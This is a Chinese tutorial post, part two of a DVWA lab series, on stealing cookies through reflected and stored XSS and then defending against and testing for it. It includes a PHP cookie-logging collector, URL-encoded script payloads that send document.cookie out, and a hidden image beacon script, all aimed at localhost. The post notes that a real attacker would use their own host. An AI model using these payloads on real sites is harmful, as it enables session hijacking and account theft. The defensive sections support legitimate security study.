如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)
上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念。
前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是没有什么用的,接下来我们想办法把这些信息发送出去。
2.1 使用反射型XSS攻击盗取用户cookie
我们去网站的根目录低下,新建一个cookie.php文件,写入以下代码:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie. "\r\n");
fclose($fp);
?>
这个php文件就是通过获取‘c’参数,将浏览器的cookie值进行传递,并最终写入同目录下一个名为cookie.txt文件里。
接下来我们尝试用反射型XSS攻击来向这个php文件发送用户cookie。
我们构造出这样的URL:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
(注意我们只是在试验XSS攻击,所以备攻击网站和攻击者的网站我用了同样的本地地址,实际中后一个127.0.0.1将会是黑客的网站地址)
在DVWA中,反射型XSS试验页面里,我们填入URL地址栏,回车发现并没有起到效果。
进一步我们将以上URL进行字符转义,构造成以下样式:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location="http://127.0.0.1/dvwa/cookie.php?c="%2bdocument.cookie</script>
再次输入地址栏并且访问。结果是,用户的cookie就被传递并且写入我的cookie.txt文件里了:
到这里我们已经成功实现了使用反射型XSS攻击盗取用户信息的目的。拿到了用户的cookie,我们就可以通过cookie替换,去登录被盗者的账号,后面能做的事情就有些不可描述了。
实际中的攻击者会将这种带攻击URL经过伪装,通过邮件或者聊天工具发送给被攻击者。一旦打开这个链接,恭喜你你就已经中招了。
2.2 使用存储型XSS攻击盗取用户cookie
接下来再来尝试用存储式攻击实现同样的目的。
我们先尝试去到DVWA的留言板页面,类似的我们直接写入刚才用到的这段脚本:
<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
提交以后,这段留言就被注入到了网页源码里面。下次只要有用户访问到这个留言板,那么就会把他的cookie信息发送给我,并被保存到我的文本文件里。
不过我发现这样做,留言板页面内容本身会有展示上的问题,攻击容易被发现。
于是我们再多加一层处理,我们再在同样的目录下,新建一个cookie.js文件,写入以下代码:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://127.0.0.1/dvwa/cookie.php?c='+encodeURIComponent(document.cookie);
可以看到我们引入了一个img元素,然后赋予他src值,指向的还是我们之前的cookie.php。
接下来再去到留言板,用代码将这个js注入:
<script src="http://127.0.0.1/dvwa/cookie.js"></script>
提交保存,再次访问这个留言板,我们发现用户的cookie又被盗取到了:
2.3 XSS攻击的防御:
之所以推荐DVWA这个应用,除了是我们很好的试验学习场地之外,还有一点是他给我们提供了应对攻击的方法。
去到\DVWA\vulnerabilities\xss_r\source目录,可以看到,有4个不同安全级别的php文件,分别对应不同级别的防御方式:
Low:没有任何防御
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
} ?>
Medium:置换掉任何带有<script>标签的输入
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} ?>
High:通过正则表达式的搜索和替换置换掉<script>标签
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} ?>
Impossible:使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
<?php // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
} // Generate Anti-CSRF token
generateSessionToken(); ?>
2.4 XSS攻击的测试:
我们可以直接去审查网页代码,如果代码在进行前后端交互的过程中,对于提交的变量没有做encoding处理,那么可以预见就会有XSS攻击风险。
也可以通过模拟攻击的方式去测试:
检查被测网站中,有没有可以提交输入的区域,比如文本输入框,留言板功能。
检查被测网站中,有没有通过URL传递参数给后台处理的机制。
如果有这些特性,那么我们就可以通过模拟黑客攻击,使用XSS脚本对于这些网页进行测试。比如输入区域,使用我们之前的弹窗XSS脚本,看看会不会弹窗,如果会那么说明网站是可被XSS攻击的;对于URL我们通过参数的修改,在参数中插入XSS脚本执行,如果脚本执行成功,同样说明网站是可被XSS攻击的。
更推荐的其实是通过自动扫描工具去进行安全性测试。市面上这类工具很多,比如BurpSuite,Fiddler等等。
如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)的更多相关文章
- 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)
XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...
- web渗透—xss攻击如何防御
1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...
- XSS攻击(出现的原因、预防措施......)
验证XSS攻击重点不是去查找可输入哪些内容会出现什么样的bug就是测试XSS攻击,重点是了解它出现的原理,为什么会出现XSS攻击,导致一些问题出现?如何防御与解决XSS攻击?以下我将简单介绍以上提出的 ...
- XSS攻击(出现的原因、预防措施)
XSS攻击(出现的原因.预防措施......) 验证XSS攻击重点不是去查找可输入哪些内容会出现什么样的bug就是测试XSS攻击,重点是了解它出现的原理,为什么会出现XSS攻击,导致一些问题出现? ...
- 什么XSS攻击?PHP防止XSS攻击函数
什么XSS攻击?PHP防止XSS攻击函数 发布时间: 2013-05-14 浏览次数:22325 分类: PHP教程 XSS 全称为 Cross Site Scripting,用户在表单中有意或无意输 ...
- DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting
反射型攻击那篇提及到,如何是"数据是否保存在服务器端"来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击. DOM 型攻击的特殊之处在于它是利用 JS 的 documen ...
- XSS攻击及防御(转)
add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
随机推荐
- 通过zuul修改请求参数——对请求参数进行解密
zuul是netflix开源的一个API Gateway 服务器, 本质上是一个web servlet应用,Zuul 在云平台上提供动态路由,监控,弹性,安全等边缘服务的框架,Zuul 相当于是设备和 ...
- Jmeter选项含义
最近接了组里压测的任务,开始仔细钻研Jmeter了.之前也压过,但每次RD问压测的指标等问题,感觉都很懵不知道该怎么回答.借这个机会一鼓作气搞明白吧! Jmeter安装插件 有个插件叫jp@gc St ...
- JS精度问题(0.1+0.2 = 0.3吗?)
一.引出问题 0.1+0.2 = 0.3吗?在JS中是这样的吗?我们写个测试代码不就知道了吗? 结果出人意料,并不像我们所想象的那样.那么这到底是为什么呢? 二.原因分析 JS浮点数存储机制: 三.解 ...
- 我的 FPGA 学习历程(11)—— 实验:按键消抖
按键是一个输入设备,在理论上可以归为开关一类,理想的按键波形如下: 然而由于按键的机械特性,断开和闭合动作是不可能在一瞬间完成的,实际的波形如下: 抖动期间电平处于临界值,由于晶振的频率相当的高,数字 ...
- ubuntu系统下matplotlib中文乱码问题
参考 [ubuntu系统下matplotlib中文乱码问题 - CSDN博客](https://blog.csdn.net/jeff_liu_sky_/article/details/54023745 ...
- LPC 网络编程
LPC有五种不同的通信模式(socket模式) ① MUD (面向连接的通信模式) 可以把除Object以外的所有LPC模型从一个MUD传到另一个MUD 弊端: 无法传送物件造成了穿越MUD的功能(即 ...
- AGC001F - Wide Swap
Description 给你一个长度为$n$的排列,每次可以交换$|i-j|\geq K$并且$|a_i-a_j|=1$的数对,问你经过若干次变换后最小字典序的排列是啥 Solution 对$a$做一 ...
- summary of week
Summary of week Catalog 计算机基础 解释器 编码 数据类型 输入 输出 变量 注释 运算符 条件判断 循环 Content 计算机基础 计算机组成 软件 解释器 操作系统 : ...
- Layui下拉框改变时触发事件
layui.use(['form', 'layer'], function () { var form = layui.form(); var layer = layui.layer; form.on ...
- redis的过期策略都有哪些?
1.面试题 redis的过期策略都有哪些?内存淘汰机制都有哪些?手写一下LRU代码实现? 2.面试官心里分析 1)老师啊,我往redis里写的数据怎么没了? 之前有同学问过我,说我们生产环境的redi ...